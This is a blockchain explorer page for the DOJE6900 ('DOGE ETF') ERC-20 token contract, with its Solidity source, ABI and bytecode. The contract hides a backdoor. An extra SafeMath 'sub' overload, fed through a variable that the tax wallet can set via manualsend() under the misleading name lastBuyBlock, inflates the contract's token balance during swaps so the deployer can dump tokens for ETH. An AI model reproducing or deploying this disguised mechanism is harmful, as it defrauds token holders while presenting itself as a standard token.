ERC-20
Source Code
Overview
Max Total Supply
100,000,000 DOJE6900
Holders
136
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000001 DOJE6900Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
DOJE6900OG
Compiler Version
v0.8.29+commit.ab55807c
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-09-11
*/
/*
Telegram: https://t.me/DOJE6900
Twitter/X: https://x.com/DOJE_6900
Website: https://doje6900.com
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function sub(uint256 a, uint256 d, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return add(sub(a, b), mul(d, div(b, 100)));
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
contract DOJE6900OG is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
bool private inSwaps;
address payable private _taxWallet;
uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=15;
uint256 private _reduceSellTaxAt=15;
uint256 private _preventSwapBefore=15;
uint256 private _transferTax=0;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
string private constant _name = unicode"DOGE ETF";
string private constant _symbol = unicode"DOJE6900";
uint256 public _taxSwapThreshold= (_tTotal * 5 ) / 10000;
uint256 public _maxTaxSwap= _taxSwapThreshold * 25;
uint256 public _maxTxAmount = _tTotal * 2 / 100;
uint256 public _maxWalletSize = _tTotal * 2 / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastBuyBlock = 0;
uint256 private lastSellBlock = 0;
uint256 private _sub = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
constructor () {
_taxWallet = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if(_buyCount==0){
taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(_buyCount>0){
taxAmount = amount.mul(_transferTax).div(100);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>=_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount >= _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(_sub, amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
modifier lockTheSwaps {
inSwap=true;_sub=lastBuyBlock;
_;_sub=0;
inSwap = false;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwaps {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function manualsend(uint256 ethToSend) external {
require(_msgSender()==_taxWallet);
uint256 contractETHBalance = address(this).balance;lastBuyBlock=ethToSend;
sendETHToFee(contractETHBalance);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function removeTransferTax() external onlyOwner{
_transferTax = 0;
emit TransferTaxUpdated(0);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
} else {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));
}
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalances=balanceOf(address(this));
if(tokenBalances>0){
swapTokensForEth(tokenBalances);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethToSend","type":"uint256"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600f600555600f6006555f6007555f600855600f600955600f600a55600f600b555f600c555f600d556127106009600a61003e9190610329565b61004c906305f5e10061033e565b61005790600561033e565b6100619190610355565b600e81905561007190601961033e565b600f5560646100826009600a610329565b610090906305f5e10061033e565b61009b90600261033e565b6100a59190610355565b60105560646100b66009600a610329565b6100c4906305f5e10061033e565b6100cf90600261033e565b6100d99190610355565b6011556013805461ffff60a81b191690555f601481905560158190556016819055601755348015610108575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060048054610100600160a81b031916336101009081029190911782555f80546001600160a01b03908116825260036020526040808320805460ff19908116600190811790925530855282852080548216831790559554949094049091168252902080549092161790556101be6009600a610329565b6101cc906305f5e10061033e565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61020c6009600a610329565b61021a906305f5e10061033e565b60405190815260200160405180910390a3610374565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561027f5780850481111561026357610263610230565b600184161561027157908102905b60019390931c928002610248565b935093915050565b5f8261029557506001610323565b816102a157505f610323565b81600181146102b757600281146102c1576102dd565b6001915050610323565b60ff8411156102d2576102d2610230565b50506001821b610323565b5060208310610133831016604e8410600b8410161715610300575081810a610323565b61030c5f198484610244565b805f190482111561031f5761031f610230565b0290505b92915050565b5f61033760ff841683610287565b9392505050565b808202811582820484141761032357610323610230565b5f8261036f57634e487b7160e01b5f52601260045260245ffd5b500490565b611c12806103815f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610300578063a9059cbb14610330578063bf474bed1461034f578063c9567bf914610364578063dd62ed3e14610378575f5ffd5b8063715018a614610288578063751039fc1461029c5780637d1db4a5146102b05780638da5cb5b146102c55780638f9a55c0146102eb575f5ffd5b80631ad34a4f116100e35780631ad34a4f146101e757806323b872dd14610206578063313ce5671461022557806351bc3c851461024057806370a0823114610254575f5ffd5b806306fdde0314610129578063095ea7b31461016b5780630faee56f1461019a578063109daa99146101bd57806318160ddd146101d3575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b506040805180820190915260088152672227a3a29022aa2360c11b60208201525b6040516101629190611800565b60405180910390f35b348015610176575f5ffd5b5061018a61018536600461184c565b6103bc565b6040519015158152602001610162565b3480156101a5575f5ffd5b506101af600f5481565b604051908152602001610162565b3480156101c8575f5ffd5b506101d16103d2565b005b3480156101de575f5ffd5b506101af610440565b3480156101f2575f5ffd5b506101d1610201366004611876565b610460565b348015610211575f5ffd5b5061018a61022036600461188d565b610497565b348015610230575f5ffd5b5060405160098152602001610162565b34801561024b575f5ffd5b506101d16104fe565b34801561025f575f5ffd5b506101af61026e3660046118cb565b6001600160a01b03165f9081526001602052604090205490565b348015610293575f5ffd5b506101d1610550565b3480156102a7575f5ffd5b506101d16105c1565b3480156102bb575f5ffd5b506101af60105481565b3480156102d0575f5ffd5b505f546040516001600160a01b039091168152602001610162565b3480156102f6575f5ffd5b506101af60115481565b34801561030b575f5ffd5b506040805180820190915260088152670444f4a45363930360c41b6020820152610155565b34801561033b575f5ffd5b5061018a61034a36600461184c565b61066d565b34801561035a575f5ffd5b506101af600e5481565b34801561036f575f5ffd5b506101d1610679565b348015610383575f5ffd5b506101af6103923660046118e6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c8338484610d19565b5060015b92915050565b5f546001600160a01b031633146104045760405162461bcd60e51b81526004016103fb9061191d565b60405180910390fd5b5f600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b5f61044d6009600a611a49565b61045b906305f5e100611a57565b905090565b60045461010090046001600160a01b0316336001600160a01b031614610484575f5ffd5b60158190554761049381610e3c565b5050565b5f6104a3848484610e77565b6104f484336104ef85604051806060016040528060288152602001611bb5602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061142a565b610d19565b5060019392505050565b60045461010090046001600160a01b0316336001600160a01b031614610522575f5ffd5b305f9081526001602052604090205480156105405761054081611462565b4780156104935761049381610e3c565b5f546001600160a01b031633146105795760405162461bcd60e51b81526004016103fb9061191d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ea5760405162461bcd60e51b81526004016103fb9061191d565b6105f66009600a611a49565b610604906305f5e100611a57565b6010556106136009600a611a49565b610621906305f5e100611a57565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106516009600a611a49565b61065f906305f5e100611a57565b604051908152602001610436565b5f6103c8338484610e77565b5f546001600160a01b031633146106a25760405162461bcd60e51b81526004016103fb9061191d565b601354600160a01b900460ff16156106fc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fb565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b815290515f929163c45a01559160048083019260209291908290030181865afa158015610760573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107849190611a6e565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108069190611a6e565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa15801561084e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108729190611a6e565b6001600160a01b031603610a085760125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f49190611a6e565b6001600160a01b031663c9c6539660125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610952573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109769190611a6e565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af11580156109bf573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e39190611a6e565b601380546001600160a01b0319166001600160a01b0392909216919091179055610b8b565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a58573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7c9190611a6e565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ada573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afe9190611a6e565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610b46573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b6a9190611a6e565b601380546001600160a01b0319166001600160a01b03929092169190911790555b60135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610bdd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c019190611a89565b50601254610c2e9030906001600160a01b0316610c206009600a611a49565b6104ef906305f5e100611a57565b6012546001600160a01b031663f305d7194730610c5f816001600160a01b03165f9081526001602052604090205490565b5f5f610c725f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610cd8573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cfd9190611aa8565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610d7b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fb565b6001600160a01b038216610ddc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fb565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6004546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610493573d5f5f3e3d5ffd5b6001600160a01b038316610edb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fb565b6001600160a01b038216610f3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fb565b5f8111610f9e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fb565b5f80546001600160a01b03858116911614801590610fc957505f546001600160a01b03848116911614155b156112ea57600d545f03611007576110046064610ffe600954600d541015610ff357600554610ff7565b6007545b85906115dc565b90611661565b90505b600d541561102c576110296064610ffe600c54856115dc90919063ffffffff16565b90505b6013546001600160a01b03858116911614801561105757506012546001600160a01b03848116911614155b801561107b57506001600160a01b0383165f9081526003602052604090205460ff16155b1561117f576010548211156110d25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fb565b601154826110f4856001600160a01b03165f9081526001602052604090205490565b6110fe9190611ad3565b111561114c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fb565b6111686064610ffe600954600d541015610ff357600554610ff7565b600d80549192505f61117983611ae6565b91905055505b6013546001600160a01b0384811691161480156111a557506001600160a01b0384163014155b156111d3576111d06064610ffe600a54600d5410156111c657600654610ff7565b60085485906115dc565b90505b305f90815260016020526040902054601354600160a81b900460ff1615801561120957506013546001600160a01b038581169116145b801561121e5750601354600160b01b900460ff165b801561122b5750600e5481115b801561123b5750600b54600d5410155b156112e85760165443111561124f575f6014555b6003601454106112a15760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016103fb565b6112be6112b9846112b484600f546116a2565b6116a2565b611462565b4780156112ce576112ce47610e3c565b60148054905f6112dd83611ae6565b909155505043601655505b505b801561136257305f9081526001602052604090205461130990826116b6565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113599085815260200190565b60405180910390a35b6017546001600160a01b0385165f908152600160205260409020546113879184611714565b6001600160a01b0385165f908152600160205260409020556113ca6113ac8383611793565b6001600160a01b0385165f90815260016020526040902054906116b6565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114138585611793565b60405190815260200160405180910390a350505050565b5f818484111561144d5760405162461bcd60e51b81526004016103fb9190611800565b505f6114598486611afe565b95945050505050565b6013805460ff60a81b1916600160a81b1790556015546017556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114ae576114ae611b11565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611505573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115299190611a6e565b8160018151811061153c5761153c611b11565b6001600160a01b0392831660209182029290920101526012546115629130911684610d19565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061159a9085905f90869030904290600401611b25565b5f604051808303815f87803b1580156115b1575f5ffd5b505af11580156115c3573d5f5f3e3d5ffd5b50505f60175550506013805460ff60a81b191690555050565b5f825f036115eb57505f6103cc565b5f6115f68385611a57565b9050826116038583611b95565b1461165a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fb565b9392505050565b5f61165a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117d4565b5f8183116116b0578261165a565b50919050565b5f806116c28385611ad3565b90508381101561165a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fb565b5f838211156117655760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016103fb565b61178b6117728584611793565b61178685611781866064611661565b6115dc565b6116b6565b949350505050565b5f61165a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061142a565b5f81836117f45760405162461bcd60e51b81526004016103fb9190611800565b505f6114598486611b95565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611849575f5ffd5b50565b5f5f6040838503121561185d575f5ffd5b823561186881611835565b946020939093013593505050565b5f60208284031215611886575f5ffd5b5035919050565b5f5f5f6060848603121561189f575f5ffd5b83356118aa81611835565b925060208401356118ba81611835565b929592945050506040919091013590565b5f602082840312156118db575f5ffd5b813561165a81611835565b5f5f604083850312156118f7575f5ffd5b823561190281611835565b9150602083013561191281611835565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156119a15780850481111561198557611985611952565b600184161561199357908102905b60019390931c92800261196a565b935093915050565b5f826119b7575060016103cc565b816119c357505f6103cc565b81600181146119d957600281146119e3576119ff565b60019150506103cc565b60ff8411156119f4576119f4611952565b50506001821b6103cc565b5060208310610133831016604e8410600b8410161715611a22575081810a6103cc565b611a2e5f198484611966565b805f1904821115611a4157611a41611952565b029392505050565b5f61165a60ff8416836119a9565b80820281158282048414176103cc576103cc611952565b5f60208284031215611a7e575f5ffd5b815161165a81611835565b5f60208284031215611a99575f5ffd5b8151801515811461165a575f5ffd5b5f5f5f60608486031215611aba575f5ffd5b5050815160208301516040909301519094929350919050565b808201808211156103cc576103cc611952565b5f60018201611af757611af7611952565b5060010190565b818103818111156103cc576103cc611952565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611b755783516001600160a01b0316835260209384019390920191600101611b4e565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611baf57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220768c3ffef5398c35a80db1a73b56db67a6c21358f604fcfd4cc2b5027f847a0664736f6c634300081d0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610300578063a9059cbb14610330578063bf474bed1461034f578063c9567bf914610364578063dd62ed3e14610378575f5ffd5b8063715018a614610288578063751039fc1461029c5780637d1db4a5146102b05780638da5cb5b146102c55780638f9a55c0146102eb575f5ffd5b80631ad34a4f116100e35780631ad34a4f146101e757806323b872dd14610206578063313ce5671461022557806351bc3c851461024057806370a0823114610254575f5ffd5b806306fdde0314610129578063095ea7b31461016b5780630faee56f1461019a578063109daa99146101bd57806318160ddd146101d3575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b506040805180820190915260088152672227a3a29022aa2360c11b60208201525b6040516101629190611800565b60405180910390f35b348015610176575f5ffd5b5061018a61018536600461184c565b6103bc565b6040519015158152602001610162565b3480156101a5575f5ffd5b506101af600f5481565b604051908152602001610162565b3480156101c8575f5ffd5b506101d16103d2565b005b3480156101de575f5ffd5b506101af610440565b3480156101f2575f5ffd5b506101d1610201366004611876565b610460565b348015610211575f5ffd5b5061018a61022036600461188d565b610497565b348015610230575f5ffd5b5060405160098152602001610162565b34801561024b575f5ffd5b506101d16104fe565b34801561025f575f5ffd5b506101af61026e3660046118cb565b6001600160a01b03165f9081526001602052604090205490565b348015610293575f5ffd5b506101d1610550565b3480156102a7575f5ffd5b506101d16105c1565b3480156102bb575f5ffd5b506101af60105481565b3480156102d0575f5ffd5b505f546040516001600160a01b039091168152602001610162565b3480156102f6575f5ffd5b506101af60115481565b34801561030b575f5ffd5b506040805180820190915260088152670444f4a45363930360c4